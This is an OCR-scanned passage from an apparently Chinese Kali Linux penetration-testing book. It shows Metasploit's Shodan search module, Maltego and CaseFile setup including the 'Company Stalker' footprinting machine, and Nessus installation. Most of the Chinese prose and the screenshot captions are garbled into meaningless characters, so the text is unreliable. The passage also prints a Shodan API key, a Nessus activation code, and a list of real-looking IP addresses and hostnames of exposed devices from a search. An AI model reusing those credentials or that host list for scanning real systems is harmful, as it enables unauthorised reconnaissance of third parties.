(5) Jaah MSF £, ATy W R s

root@kali:~# msfconsole
msf >

(6) %FF auxiliary/gather/shodan search i, JF&rF ZATEL T o] Ae & AN SH . T
fram S un bR
msf > use auxiliary/gather/shodan_search

msf auxiliary(shodan_search) > show options
Module options (auxiliary/gather/shodan_search):

Name Current Setting Required Description

DATABASE false no Add search results to the database

FILTER no Search for a specific IP/City/Country /Host name
MAXPAGE 1 yes Max amount of pages to collect

OUTFILE no A filename to store the list of IPs

Proxies no Use a proxy chain

QUERY yes Keywords you want to search for
SHODAN_APIKEY yes The SHODAN API key

VHOST www.shodanhg.com yes The virtual host name to use in requests

MEL FS AR R, ol BLE BT DY A 20 e e T 2 4. Hop AT i LR
QUERY F1 SHODAN APIKEY i %11 HC
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(7) BL'E QUERY Fll SHODAN APIKEY iEINZ4. #iTar4 W FArmns:

msf auxiliary(shodan_search) > set SHODAN_APIKEY duV9vwgCmo0oDfWqfWafax8sj0ZUa5BU
SHODAN_APIKEY => duV9vwgCmoloDfWqf\Wafax8sj0ZUaSBU

msf auxiliary(shodan_search) > set QUERY iomega

QUERY => iomega

Mg 15 B, nTLLFE ) QUERY A1 SHODAN APIKEY 3 T s DO i
(8) JAsERT1 %, PUTH S W FHIR:

msf auxiliary(shodan_search) > run
[*] Total: 160943 on 3219 pages. Showing: 1

[*] Country Statistics:

[¥*] United Kingdom (GB): 27408
[*] United States (US): 25648
[¥] France (FR): 18397

[¥] Germany (DE): 12918

[¥] Netherlands (NL): 6189

[*] Collecting data, please wait...

IP Results
P City Country Hostname
104.33.212.215:80 N/A N/A cpe-104-33-212-215.socal.res.rr.com
107.3.154.29:80 Cupertino United States c-107-3-154-29.hsd1.ca.comcast.net
108.0.152.164:443 Thousand Oaks  United States pool-108-0-152-164 Isancafios. verizon.net
108.20.167.210:80 Maynard United States
pool-108-20-167-210.bstnma fios.verizon.net
108.20.213.253:443 Franklin United States
pool-108-20-213-253.bstnma fios.verizon.net
109.156.24.235:443 Sheffield United Kingdom

host109-156-24-235.range109-156.btcentralplus.com
129.130.72.209:443 Manhattan United States

130.39.112.9:80 Baton Rouge United States Isf-museum.lsu.edu

146.52.252.157:80 Leipzig Germany  ip9234fc9d.dynamic.kabel-deutschland.de

147.156.26.160:80 Valencia Spain gpoeibak.optica.uv.es

94 224 .87.80:8080 Peutie Belgium 94-224-87-80.access.telenet.be

95.93.3.155:80 Faro Portugal a95-93-3-155.cpe.netcabo.pt

96.232.103.131:80 Brooklyn United States
pool-96-232-103-131.nycmny.fios.verizon.net

96.233.79.133:80 Woburn United States
pool-96-233-79-133.bstnma_fios.verizon.net

96.240.130.179:443 Arlington United States
pool-96-240-130-179.washdc fios.verizon.net

97.116.40.223:443 Minneapolis  United States 97-116-40-223. mpls.qwest.net

97.76.110.250:80 Clearwater United States rres-97-76-110-250.se.biz.rr.com

98.225.213.167:443 Warminster United States

+ 102 -
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c-98-225-213-167.hsd1.pa.comcast.net
[*] Auxiliary module execution completed

EA_E A A0 6 iR T UL AL domega ST BT 6L HR A AL B TSI, 2000
Fon TP hdik s 3Ty B SO BN o QR AR ST AT S8 OCHE 7~ ol /3 21 5 2 (1w R oL, A
WAREEN 9L B 1) APTkey

4.8 1% Maltego I F1Z &:

Maltego & TR AR PEALE TR, & BEREHT iR Ul — > W9 4% A o b 52 ek
AP ENE. iz THAENERAOR A AN SR AR B F HAR AN Wi (R i 204 5
[flo AFTRAE ] Kali Linux #:4E R4 (1) Maltego, 7~ % 1L o] 5 Bh AP 845 L.

481 E&IE

i Maltego T H.2ZHi, 7% 3| https://www_paterva.com/web6/community/maltego/
P sy A RN AL a0 P 4.9 s

( :j)(’)‘ hitpsy/inp O v @ O HF‘aterva / Maltego | {I:Ef * {@}
»

T T Google H% @] Fr--SMET @AE—T  490UE £ aboutblank 5 EEESHHHSE: v

%

Register ~
Register an account today for free!

Firstname

Organisation

Email Address

Password Confirmation

Captcha

Regiotorx!
W

< >

Fla9 kS

FEZ T LS LS, #adi Register %4, Kogmad . ey, FEHK S A
(P RBAEAF 2B AR S, oM, K HT IR S -

482 f{FHMH Maltego TH

i ] Maltego T B WG B . BARERAELBRU FFrR:
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(1) K3 Maltego . H.. #KGEFE “ NHIFERF” |Kali Linux| “ {5 SI0CE” | “iH R4
imaltego 74>, H4 TR W 4.10 B St

Welcome to Maltego! &A

Steps Startup wizard - Welcome (1 of 5)
1. Welcome
2. Login Welcome to Maltego!
3. Login result
4,  Select transform seeds This wizard will guide you through the steps of setting up your Maltego Client
5. Update transforms for first use.

We hope that you enjoy using our preduct as much as we enjoy building it!

Please note that the Community Edition is intended for non-commercial use

onlyl

| < Back H Next > I Finish || Cancel i Help

P4 410 Maltego il i

(2) e F i Next fdfl, Kot 4.11 Frosf i .

Welcome to Maltego! &,,J
Steps Startup wizard - Login (2 of 5)
1. Welcome Enter your details below to log in to the Maltego Community Server
2, Login .
3. Loginresult Or if you have not done so yet, ragister here
4. Select transform seeds
5. Ubdate transforms Login

* Ema | Address | |

Password |

* Solve captcha I

[ e[ o (et [ 5o |

K411 Bx5m
(3) FEAZ St A fir A i H P 65 P A b T35 ) A2 B Y o #R )5 Heddy Next 32411,
Yo R P 4.12 i i S .

(4) ZStmBoR TSR E RGN Bey, Bl Next #41, #EaawE 413 Jrni
Fi1f
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Welcome to Maltego! .‘4
Steps Startup wizard - Login result (3 of 5)
1. Welcome
2. Login Hello li, welcome to Maltego Community Edition!
3. Login result
4. Select transform seeds Personal details
5. Update transforms

First name  li
Surmname  yw

Email address ~ CUNIPNIRN@ qq.com

Your API key is valid until April 24, 2014 at 12:00:00 AM CST

| < Back “ Next > H Einish || {Cance| || Help ]
K412 G
Welcome to Maltego! u
Steps Startup wizard - Select transform seeds (4 of 5)
1. Welcome
2. Login Discover transforms from:
3. Loginresult i
4, Select transform seeds AR
5. Update transforms

[] Local TAS (Transform Application Server)

Note: The transform seed settings can be changed later through Manage->Discover
Transforms.

| < Back H Next > ” Finish || Cancel H Help |

P 413 P A

(5) TEAZF R I S G BRI kYR . ARG i Next 124l ¥ 2wl 4.14 Fior
SIS

(6) TEiZFHIEF S Maltego, X BLZEFZL LML Run a machine(NEW!!). &
Jei Bt Finish 42480, K5 oWl 4.15 Fios ) 2.
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Welcome to Maltego! d
Steps Startup wizard - Update transforms (5 of 5)
1. Welcoms
2. Lozin Ready...5et...GO!
3. Login result
4, Select transform seeds Your new Maltego client has been initialized sucessfully!
5. Update transforms

3 new applicationserver(s) were found k‘
123 newtrans‘orms were ‘ound )

75 new entities we-e installed

You are now "eady to use Maltegol
{®) Run a machine (NEW!!)
() Opena blank graph and let me playaround
] Openan example graph

{_) Go away, 1 "ave done this before!

‘ Eack H Next H Finsh ” »Eancei ” Hep

Pl 414 WU AL

Start a Machine ...4

Steps Run Machine - Choose machine (1 of 2)
1. Choose machine Please select the machine to run from the list below:
2, Specify target
= Comipany Stalker [Domain] [i
This machine will try to gét &1l emall sddresses at & d omain then sés wh
O Footprint L1 [Domain]
This performs a lewel 1 {fast, basic) footprint of a dornain. -
) Footprint L2 [Domain]
This performs a lewel 2 {mild) footprint of & domain
) Footprint 13 [Domain]
This performs a lewel 3 {intense) footprint an a domain, It takes a while ...

Show on startup
Show on empty graph click

l < Back H Next » || Finish H Cancel H Help |

K415 M

(7) ZA I ARIEFEIZ AT BN, IXHLEFE Company Stalker (ZHZIM) LLIH. MR )5
ol Next $4 5, R 7wl 4.16 Fros i) 7.
(8) TEZFHAMA— Ao 25 i Finish $24H], £ bzm Wi 4.17 Bros ) F.
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Start a Machine | X |

Steps Run Machine - Specify target (2 of 2)

1. Choose machine
2. Specify target

The Company Stalker machine requires the following inputs:

DomainName |paterva.com

‘ < Barl H Next || FEinish ” Cancel H Hely |

K 416 JHEAFR

Results Limited | X |

ﬁ', Note -hat results within machines are rescricted to * 2 entities in the Community Edition
2= Y

[]/pon't show again

/%] 4.17 Results Limited

(9) i Fr i~ {5 BAE paterva.com AP T 12 45844 711 FHEE£E Don't show
again, X5l OK #4Hl, K5 Wosik 4.18 Fros i At .

Investigate
[ ll P berar et ||| K B Bl AT
i Cur L) - A || - N
paste Clear Quick || Enciy ot b e s k
Al @ Delete Find || Selection $3 & fa T T R
ipboard. f
[& Palette | « = | i starPage x| B Mew Graph (= LR =R S (8 petall View |»=|=
@ Infrastracture Main View || Bubble View || Entity List | - G
@ As
An [nternet Auton
DNS Nama L <No Selection=
~ Domain Name Sys|_|
) Domain m ‘
An Internet doma
= 1Pv4 Address et e %= Property View » x
~ An IP version 4 a{— |
Il
E‘! MX Record ‘
A DNS mall exchal| |§ 5 Output- Transform Output ¥ ox
<Nao Properties»
B NS Record
A DNS name serv

JIIEE

(M
)

4 4.18
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(10)iZ F 1 5o T WA £ 1) paterva.com. 41 H 7% B, 764 ] #4 Palette | #£$¢ Domain,
SR bRl 844 ) Graph . TRiZFHIIEHE paterva.com 544, BRI LR
paterva.com 34 [PJHIDGAF KL, Wil 4.19 Fros. sl fE el BUE o, s s . Bk
Property View £ [/} Domain Name, R flbriZ th /i iyt 44 st o) LUE 2. @lhn, X B
144 paterva.com &M targethost.com, 1 27~ W1 4.20 Ay~ i 51
7 start Page = | 5 New Graph (1) x L L)~ D 20 S0 perall View | » =

Main View | Bubble view | Entityust | [@] o [=| |2 [ £ %)
5

Domain

pa terva.com
i I
patervacom

= Property View

Domain Name

WHOIS Info

L1 il @ Graphinfo
Output - Transform Output | ¥ x Jweight

Incoming
Outgoing

Bookmark

‘ ] ' etail View EX

Main View ” Bubble View ” Entity List Dormain

& maltego.Damain

targethost.com

targethost.com

= Property View » x
@ Properties

Type

Domain Name  targethost.com
WHOIS Info
@ Graphinfo
Weight

Kl 4.20 targethost.com {5 &

(L) — E RSN TR, T 8T LR S B P e LA S 1,
JFLFE Run Transform 4 =77 24 (R 50, Wil 4.21 s

(12) {EiZSHT LAEHE 34k DNS 4, 04T WHOIS AR fHEfF IR ol
IEFRISAT BT AT e 4, Won a5 B 4.22 s

(13) MAZ YL ] BLE 33K T 1R £ 22T targethost.com {5 5. HI /7t a] BLAE A [A)#E
M5k, i FA R R AR 1E .

H el LLEH] Maltego B4 2% . Maltego & tH Paterva G| 21— TR L H, HTG
S FTEIE . BT 5148 T Maltego (¥4 n) 3, 38 i 3 5 e 31 1B o A i3 5
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s IR
PLA ] 3 —
WHOIS %)%,

73 Start Page = |68 New Graph (1) = |E6 New Graph (2) =

Main View | Bubble View H Entity List | IE‘ EIE‘

2] FUVF Maltego L& A YRR, K2 & FlORMESER AR AT o)
A E BT bR 92 SR L, L R A

Ik 55 & AL AT

SRR 1o

»
target GF Run Machine »| DNS from Domain 4
Copy to New Graph | Domain owner detail ]
1 Change Type »| Email addresses from Domain 2
Merge Files and Documents from Domain *
Clear/Refresh Images »| Other transforms
Attach All transforms
Type Actions »
Copy
Copy (as List)
Cut
Delete

421 BshlcERER

75 start Page = |5 New Graph (1) = |55 New Graph (2) =

@]e (2] (A al8[F] 5

Main View H Bubble View H Entity List

on B B

|¢wncnwm

!

%{ EJ i olm oy im

F@ Output - Transform Output

Running transform DomainTaSOAlnformation on 1 entities ]
Transform DomainToSOAInformation returned with 2 entities,
Transform DomainToSOAInformation done

Running transform To Website DNS [using Search Engine] on 1 entities.
Transform To Website [Quick lookup] returned with 1 entities.

K422 {5HkE

Livanin>sil
WipE 4.23 Fion.

i} Transform Manager 7 [ ' All Transforms $r %5,

JA B AIEE

AT AR R
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Transform Manager A E

All Transforms rTransfnrm Servers r Transform Sats |

(L8 vt nebers.. | X

Transform Status Location Dafault set Input Output

L

£ AliasToTwitierAccount

7] £ AliasToTwiterUser

& DomainToDNSNameSchema
[¥] @ DomainToSOALntormation

@ DomainToSPFInformation
ol 0 L

Aermi mefarErinads

AliasToFacebookProfile 1 | 9 Properties
4 Description

| Status =
| Location
| Defaul- set

Help. g i

‘| AllasToFacebookPrafile
Returns a Facebook affiliation for an alias (phrase)

e —
1% Oropup  Property 1D

@_i

¥ 423 Transform Manager 571

TEAATHMANE TR A ey e O T REMEAE LA e 1y s, 25 H2%2 disclaimer,
#5252 disclaimer () 5, LA MIEREHY GG, B EIKHET View disclaimer 44 H]
W S o 1 4.24 B 0 YL

Transform Disclaimer g

FlickrAccountGetFriends

Please note this transform is being run on the Paterva Transform
Distribution Server and has been written by the user 'Andrew
MacPherson'. This transform will be run on
http://alpine.paterva.com/cgi-bin/flickrGetFriends.py and Paterva
cannot be held responsible for any damage caused by this
transform, you run this AT YOUR OWN RISK. For more
information on this transform feel free to contact
andrew@paterva.com Additional: PoC Only! Please do not use
outside of this workshop.

[ accept the above disclaimer|

{ 424 Transform Disclaimer

{E1Z SHIF T accept the above disclaimer SZiEHEZ) [, 2R )5 Hiili Close &t nI LA T .
49 LHIMA&LEME

CaseFile T RJIIREHIM S HE . 1112 T R gethudigs InFEse,  Jffg LA R Ftim

TR RIE IR M 2 S5 R ] . ATTKE /)21 Maltego CaseFile /145 H
LEAF ] CaseFile | H.22 jif, T5EGN RS Y Java Fil Javac A . K2k CaseFile |-
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H 2N Java TF &Y, ) Hix T HEUAAH24TTE Javal. 7.0 A F. {H2Z7F Kali Linux W, %%
T JDK6 il IDK7, i CaseFile ERIAEFIH /2 IDK6. IERH&AT CaseFile T H G, EJEFH
ToiF R AR . BT LU AR B R IDK A, R IDK AR 1 VT s

fi ] update-alternatives fir & 12 4 java fip & RA . AT fir & W1 F o

root@kali:~# update-alternatives --config java

fF 2 ME‘T A T & java (21t /usr/binfjava).

FiRES Bz AR K
%0 {usr/lib/jvm/java-6-openjdk-i386/jre/bin/java 1061 BahiE

1 lusr/lib/jvm/java-6-openjdk-i386/jre/bin/java 1061 FahE

2 Jusr/lib/jvm/java-7-openjdk-i386/jre/bin/java 1051 FahER

BERFURNEMFFREER, AFRNEFHRS: 2

#i N\ JDK7 B A4S

update-alternatives: using /usr/lib/jvm/java-7-openjdk-i386/jre/bin/java to provide /usr/bin/java

(java) in FEE,

M H A SRR AT A B O 8 0k TDKT fiAs, i HLE Fah#ial. sl {di 1] java
S EH GATIRAE R, AT a2 W PoR:

root@kali:~# java -version

java version "1.7.0_25"

OpendDK Runtime Environment (IcedTea 2.3.10) (7u25-2.3.10-1~deb7u1)
OpenJDK Server VM (build 23.7-b01, mixed mode)

M EL_EEE R nT BLAfl e 2 A AR java iy & RCA /2 1.7.0.
fili11] update-alternatives 7y & 224 javac AT & HCA . AT 2 W1 F B

root@kali:~# update-alternatives --config javac

f 2 MEima BT &R javac (12 /usrbinfjavac).

yYi3ES Bz %R RE
*0 {usr/lib/jvm/java-6-openjdk-i386/bin/javac 1061 BahiEz

1 Jusr/lib/jvm/java-6-openjdk-i386/bin/javac 1061 FahER

2 {usr/lib/jvm/java-7-openjdk-i386/bin/javac 1051 FahEzt

EHFYHFMEFFRRERE, NEFBNEFMNRS: 2 #i N JDK7 B A4S

update-alternatives: using /usr/lib/jvm/java-7-openjdk-i386/bin/javac to provide /usr/bin/javac

(javac) in FahH#z

M RO Bobon) UG ) O 285000 TDKT JiiAs, 1 L& Tsh i, Xk, pifdi ] javac
A TA YETI A S, AT W PR

root@kali:~# javac -version

java version "1.7.0_25"

MELF 25 Brba] DU 510 R 400 javae fir & A2 1.7.0.

[35f51 4-7]1 {FH] CaseFile T HLZx] Mg gt & TR DERW k.

(1) 34l CaseFile. 7R+« W T " |Kali Linux| “ {5 B | “ 1540 50 #7” |casefile
%, KR 4.25 o) Fmm .
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Welcome to Maltego!

Steps Startup wizard - Welcome (1 of 2)

1. Welcome

2. Ready..Set..Go! Welcome to Maltego CaseFile!

We hope that wou enjoy using our product as much as we
enjoy building it!

[ < Back H Next > ” Einish ” Cancel H Help

425 il Fm

(2) TR —ADEE R, X BT Next 8], K Wi P& 4.26 B (i) Fii .

Welcome to Maltego!

Steps Startup wizard - Ready..Set..Go! (2 of 2)

1. Welcome
2. Ready..Set..Go! Ready...Set...GO!

What do you want to do next?

® |Open a blank graph and let me play around
) Open an example graph

) Go away, | have done this before!

l < Back H Next > “ Einish H Cancel H Help

P 426 HEE NS

(3)iZFHIE RN ZEAT A B4 . X B % Open a blank graph and let me play around,
X5 By Finish 3% 41, A Son W& 4.27 P 7t i .

(4) WIS AT AT SUSATAEAT S L, 60 2R AR AT 2 FAET B 4. 1%L FLA Maltego
TR AL Palette B R ARSI ool AR b ARG BRI AE, I Hk
KR, el 4.28 k.

(5) (EAZSR AT LU SRS IR B BPR TR B AA b, RS ERE AR, H
AR 4.29 BioR i L -

* 112



daw fE R

%vd A fh ‘ﬁ: ﬂ ~
vaxX®E 37
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All © Delete L i i o
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? Devic... Main View I Bubble View Ii— él‘ltlty'.l!t -‘
Desktop
; A person| i =

i Ef Detai.. | »
§ Device
A device

B Mobile ¢ | . <no selection>
A portab)

i Mobile F
A device

B Smartph_|
A mobile

K427 WG

Investigate ag o)
‘I”U“”W“H' m Se-Pedbo o e S
Paste Clear avicut Quick Entity %“axy ’ ] ey
- All @ Delete | Find | Selection 28 &% fu W T N
[EPal.. |« = e |Bf New Graph (1) * x < i-0od T Qverview 3 x
© Devic... \*{  Main view ‘ Bubble View | Entity List .
& N
L B
o =
e [z et view -
@ Infra...
I [a]
@ 8s _ Domain
= Aninter 2 % maltego.Domain
£, DNS Nar | a/ ‘ 1 ‘a paterva.com(=
& bomain I 5 B T
paterva.com

Domain
Aninter
IPva Add
An P ve —lpomain Name paterva.....|
WHOIS Info

& _Gragh iofg

= Property View [ »x
(] Pmperﬁes |
Type

K 428 #4504k

Investigate

rE vy
e Quick ‘ E%[y BURE BT
a8 All @ Delete | Find Selection 33 fs £ T T

[aw]Pal.. |«

x e |Cf New Graph (1) * x L A=) 7 Overview [ 2 2
@ Devic.. *l  Maijn View || Bubble View || Entity List ‘
© Events
& Gi = —
Lol L {7 Detail View | 5 %
Simtxat This is our starting point |
I =1 —. Domain

@ ASs .
Aninter w maltego.Domain

g DNS Nay : H paterva.com(3
* Domain I ‘ w ‘ T ——
@ Domain /= Property View | » x
An inter paterva com @ Properties =~
& IPv4 Adg Type =|
AnIP ve |l pomain Name paterva....[]
MX Recd =l WHOIS Info
&= [~ I y b =

P 420 dIniERE
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(6) fLizft ] LA RIS IIGERAR B, A5 BT DUMB . R Blbs = 2RSSOz
BHI R TR SIS ] DG R A S, I S — AN g fhtelAq, ARIESOR A Hbs

FHLIK DNS {55, W& 4.30 ik,

Paste Clear

| cliphoard
[i] Palette

=

All & Delete

CaseFilz Community 1.0.1

 Cut

& Deavices

Main View H uuhblevlew‘ Entity List ‘ [

€ Events

@ Groups
@ Infrastru...

@ "

Aninternetq |

B Domain Name

&, Domain

e
IPv4 Addres,

B e version

MX Record
Ea A DNS mail ex|

%
This is our starting point

paterva.com
r

e

alpine.paterva.com

NS Record [

(7D AEAZS ] DL X A sE OBk . N ek, Ak 3] 7 sk

PRRIN], G 4.31 Pros.

weEE

Paste Clear
= All © Delete

§ Infrastru..

@AS

e oasiimams

—, Domain
& o internet d

IPv4 Addres
& An IP versian|

5 MX Record
A DNS mail ex|

P 430 b0k

{7 Detail View

4 [ | »

Domain
maltegs Demain

paterva.com

[l L] *

= Property View 5
@ Properies

Type

Damain Name paterva....[.
WHOIS Info

vl

@ Graph info

4

Clipboard
i Palette | « =
@ Devices 4]
@ Events
@ Groups

Aninternet A |

p. NS Record ||

4 S
Quick Entity 0 B d _ = =a
Find Selection 52 4, Fo T T N
Find Selection Zoom
73 Start Page = |5 New Graph (1)~ x L -0 5 overview EX
Main View | Bubble View | Entity List | |, O
. -
—_—e
This is cur starting point &g Detail View s
= DNS Name

paterva.com “\
n

alpine paterva.com

[4]

i’ maltege. DNSHame
alpine.pater

7 Property View
@ Propertes
Type

DNS Name
§ Graph info
Weight

alpine.p... [..]

K431 Mk

(8) HEALRMASEAG, K WoRiil 4.32 PRt St .
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Show Label |uu Global Setting
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Description |
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(9) R E LA B . v LUE R #UREie 2.
(10) EELLEZE (5) . (6) . () Fl (8) LERINEEZGEE, REetmgd., T
T2 — PR A S 258 P, i 4.33 B

i Start Page x M New Graph (1) * = omen

Main View | Bubble View | Entity List |

L

Target Company

D

RN

192168.10.101 Mgmt

paterva.com 7420724385 ‘ﬂ

\\ 19216810106 Admin

- i - =

www.paterva.com 192.168.10.201 HR-

Il »

[«
a

€ 4.33  ZHERI4%
(11) Mz S e LUE B — AR M e g5 fg B . iy B o] LR R B, i S35 it

fi, LAG T LT T F ez . i RH TR H T F—A Graph # H, o DL 22 A @@
A bR, Wi 4.34 s,

3 HEE Maltego CaseFile Community 1.0.1

Recent Documents

Save - I Over.. |» x

Save All
H Save As

Save to Server

[»|

ff Detai.. | » x

) |

Import 3 _|{ <no selection>

“ Export »
= Prope... | » x

gp Print 3
@ More about CaseFile » - No Properties>

% Exit |~ Options j:

5l 434 ¥ Graph
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ez A By New 128, Ffos @@ — 9] Graph, 2 iv4 & New Graph(2),
K 4.35 Fros.

Maltego CaseFile Community 1.0.1

_ In'lltiglll anage Drgnize _ _ _
Paste Clear i Entity raxXE i ® :
) All @ Delete i Selection 22 fo fu @~ T

S* pomain Na)

—, Domain
Aninterng

& IPv4 Addr|—

An IP vers|

MX Recor
a. A DNS mail

Ei NS Recorg
A DNS nam

«a Netblock

Bl 4.35 BrEE M New Graph(2)
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FE55 kA A &

TR S MR Bl A AL FR RS, WE R R A b F AR AR I % 4
FIRMRRIT . i W e R A bR RGEHATIRN, ) B AR RS R AR, IR RS H
5 R IR AR ZE AT UL S, HE 2058 H b R4 EARTE R 22 AR . Il 2 R E RE R
WA 2% 2 A A nl T B, TN LR NAR, WR P Bes 4l BRI R AR, vl B
L PR o P s A R A I e AR, O B RIS Y Y AL B i REA T B RD, 8 n) LA Akt
FLIE AR S A A e BT i CAEAR RS, I LAFRAT AT DA Bl S (4 1) T R sk,
U] Nessus 1 OpenVAS. A FORE 4 UHIEIX A LR .

5.1 1% Nessus

Nessus RSt AT IR IRERRE T, At R AT 75000 41410 H e .
1% T E PR AL e 2 0 e i I T e 45, BB S SR T B 12 . Nessus AS[A] T4 48 1)
WFIHE A, Nessus nf [/ i 7E AN LG _E3EES, HEAT REHIRI 3 HT44 . Nessus {172
BEWNAFEETRZ — frbl, AER%d, BE A3 Nessus.

511 ZREFBE Nessus

KT EAAE AR RS MR, Nessus {{CHi feeds 1% 2 SE U A FY £ . Nessus B #
PRAL T RpRRCAS . SR ISR PR

Q ZEER: FEERMOE BEE mDl e AN A . S b BoE &4 A, wTRUH T

C S| A2

Q LM TR AR AT . e B R SRR I ShfE, WGER I RIE .

AN ] Nessus [ BERCK A4 e 1 2e 36 . BARBRAE LR W FATs .

(1) F%& Nessus . Nessus FJE 4 T MbhE/E hitp://www tenable.com/products/
nessus/select-your-operating-system. {13 W% - A Z uhE, R R R 5.1 PR St .

(2) EiZFmE A Download Nessus [, Hiii Linux, JFi%E+FF F#E Nessus-5.2.6-
debian6 i386.deb 4, W 5.2 Fiow.

(3) Hiil Nessus-5.2.6-debian6 1386.deb )5, ¥ b7~ 5.3 Ao 5L .

(4) {EizFtim it Agree $24L, HTFM T ARG FERBIE, RAEFIH CHEERAF
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B2

5 B s B A

'S

j. © Download Nessus | Ten x \_

(o] i

)

C | 3 www.tenable.com/products/nessus/select-your-operatind % v¢
i A §) Google B [@) SE--ConiEas. (8] BE—T, avaE D oo »

Download Nessus

Microsoft Windows

v

» Mac OS5 X

» Linux

» FreeBSD

Solaris

-

» Checksums & GPG Keys

Please Select Your Operating System

What's New in Nessus

Nessus, a versatile vulnerability,
configuration, and compliance assessment
solution, provides customers with new
features and enhancements to improve
configuration and start-up, multiple scanner
control, usability, malware detection, and

remediation workflow

T ST ST tae L et o8

& 5.1

Download Nessus
Please Select Your Operating System

» Microsoft Windows

» MacOS X

* Linux

Debian 6.0 (32 bits)
Nessus-5.2.6-debian6_i386.deb

Debian 6.0 (64 bits):
Nessus-5.2 6-debian6_amd64.deb

Red Hat ES 4 / CentOS 4:
Nessus-5.2.6-es4.i386.rpm

Red Hat ES 5 (32 bits) / CentOS 5/ Oracle Linux 5 (including

B 52 F# Linux #4011 Nessus

Nessus |45 FLH

SOFTWARE LICENSE AGREEMENT

This is a legal agreement (“Agreement”) between Tenable Network
Security, Inc., a Delaware corporation having offices at 7021
Columbia Gateway Drive, Suite 500, Columbia, MD 21046 (“Tenable”,
and you, the party licensing Software (*You™. This Agreement
covers Your permitted use of the Software. BY CLICKING BELOW
YOU INDICATE YOUR ACCEPTANCE OF THIS AGREEMENT AND

ALOUL RS LA COVEE THUAT MALLLLAME OEAD ALL AC TLIC TEOLE

These technology and/or software were licensed in accordance with the US

Dep nt of Commerce. Export Administration Reguiations (EAR). Diversion
contrary to US iaw is prohi Ne physical or computational a
tier 4 countries (Cuba. iran. N. Korea. Sudan. or Syria) is permitted.

Subscription Agreement x
TENABLE NETWORK SECURITY, INC -
NESSUS® L

4

ess by nationais of

B 53 #iirarak

(5) F#5¢ Nessus HF4L, HLAERE o] LR 461 T H . ATan & F .

root@kali:~# dpkg -i Nessus-5.2.6-debian6_i386.deb
Selecting previously unselected package nessus.

(EFIZIEEE . REYaiftRRs 276380 M XHEMER. )
IEEfREHE nessus (AW Nessus-5.2.6-debian6_i386.deb) ...

EE#IRE nessus (5.2.6) ...

nessusd (Nessus) 5.2.6 [build N25116] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc

Processing the Nessus plugins...

All plugins loaded

- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner
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CPRECR  HUEEE

BRI VR HEE, £ Nessus B 23T, Nessus ERKHE 22357
/opt/messus H 3 .
(6) JA5l Nessus, $UATHSW T R:

root@kali:~# /etc/init.d/nessusd start
$Starting Nessus : .

M 45 ELpa] BLE 3| Nessus JIRSs 28 5 5.
Q& 1A Nessus Z 37, LA —AEML, % FRIGHERS 5k Ed 2 FLEA
2Bit, XZHAFRHRE,
(7) Wi Nessus. HAT A0 K Frox:
root@Kali:~# /opt/nessus/bin/nessus-fetch --register 9CC8-19A0-01A7-D4C1- 4521

(8) 4 Nessus fi]gdt /e FHAT M4 0 F FToR:

root@Kali:~# /opt/nessus/shin/nessus-adduser

(9) ok Nessus. (L0125 ch i A HhE htps:/EH1 IP:8834 1, hetps:// 1M1 44:8834.

I L AP IR TE AR /4, Nessus SEACE & 1, ILAESE AT LLEH Nessus 3965 % F 1)
Tl o AT Nessus $5 1 I 2 10 75 B0 B R g R HEAT 4%, O T J T AETUR (1041 4 4% b
T, B T AR A B SR AT 45 1

RINREE

A mg ) H AR R PR R .
(1) 3% Nessus, Nessus Jg&—2485E%, TR ERIMETG A 83, R0
SR LA AN hittps://192.168.41.234:8834/, 54 ks W& 5.4 Bt Fiim .

Untrusted Connection = Iceweasel Hﬁ“
File Edit View History Bookmarks Tools Help

. Untrusted Connection H;}
@ @ nips/192.168.41.234:8834 v @] [B~ Google al &
[ Most Visited > “Offensive Security ", Kali Linux "% Kali Docs nExploithE ‘Alr(rackfng
E = This Connection is Untrusted
You have asked Iceweasel to connect securely to 192.168.41.234:8834,

but we can't confirm that your connection is secure.

Normally, when you try to connect securely, sites will present trusted
identification to prove that you are going to the right place. However, this
site's identity can't be verified.

What Should | Do?

If you usually connect to this site without problems, this error could mean

that someone is trying to impersonate the site, and you shouldn't continue.

| Get me out of here!

Technical Details

| Understand the Risks

K54 EHEAPGT
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(2) fEi%FHH ¥idi I Understand the Risks %6, K W Wil 5.5 Bros i 5.
Untrusted Connection ~- Iceweasel _E‘ﬂ

File Edit View History Bookmarks Tools Help

A Untrusted Connection ﬂﬁ]

€ (@ hipss192.168.41.234:8834 v @) [B~ Google a 4

[ Most Visitedv  [JllOffensive Security "% Kali Linux "W Kali Docs EBExploit-DB Wy Aircrack-ng

continue.

Get me out of here!

Technical Details

I Understand the Risks'

If you understand what's going on, you can tell Iceweasel to start
trusting this site's identification. Even if you trust the site, this error
could mean that someone is tampering with your connection.

Don't add an exception unless you know there's a good reason why this
site doesn't use trusted identification.

Add Exception...

[>

B Sss TR

(3) Z SR T AE{E AR, By Add Exception #40, ¥ Z W& 5.6 FiRl

ELlE

Add Security Exception
You are about to override how Iceweasel identifies this site.

Legitimate banks, stores, and other public sites will not
ask you to do this.

Server

Location: [https:.’ll92<168.4l<234:8834] ] [get Certiﬂcate]

Certificate Status

This site attempts to identify itself with invalid
information.

Wrong Site

Certificate belongs to a different site, which could indicate an
identity theft.

Unknown Identity

Certificate is not trusted, because it hasn't been verified by a
recognized authority using a secure signature.

Permanently store this exception

Confirm Security Exception

K 5.6 i s s

(4) {EZFLH ¥ Confirm Security Exception &4, ¥ 5wl 5.7 B A .
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S5 Jwildadh
Nessus [ Logirl = Iceweasel H.Ei.;i

File Edit View History Bookmarks Tools Help
) Nessus / Login Hlﬂil

€ [ & nittps//192.168.41.234:8834/html 5. himl#/ v €| [Bvcooge @ &

5 Most Visited v 'ilOffensive Security % Kali Linux "% Kali Docs ﬂExplnit—DB ‘Air(ra(k—ng

7:5Nessus

home

admin

- ‘

Remember Me

5.7 Nessus &x 7L

(5) EiZ A NG A @A H S A2 28, SR s Sign In #H, ¥R wiE 5.8
FIT s i ST

Nessus / Scans - Iceweasel Hﬂtj

File Edit View History Bockmarks Tools Help
) Nessus / Scans “ gA ‘
€ B [& hitps://127.0.0.1:8834/html 5 html#/scans v €| [B~ Google Q 4

[ Most Visited™ IilOffEnsiveSecuri:y S, Kali Linux "% Kali Dccs n[xploit-DB W Aircrack-ng

{\3 NESSUS Schedules Policies Jse's admin ¥

Scans Upload

My Scans

No scans have been generaled for this account. You can add a scan by clicking the "New Scan"
button,
Trash

» Al Seans 3

Nzw Folder

g 5.8 Nessus -5

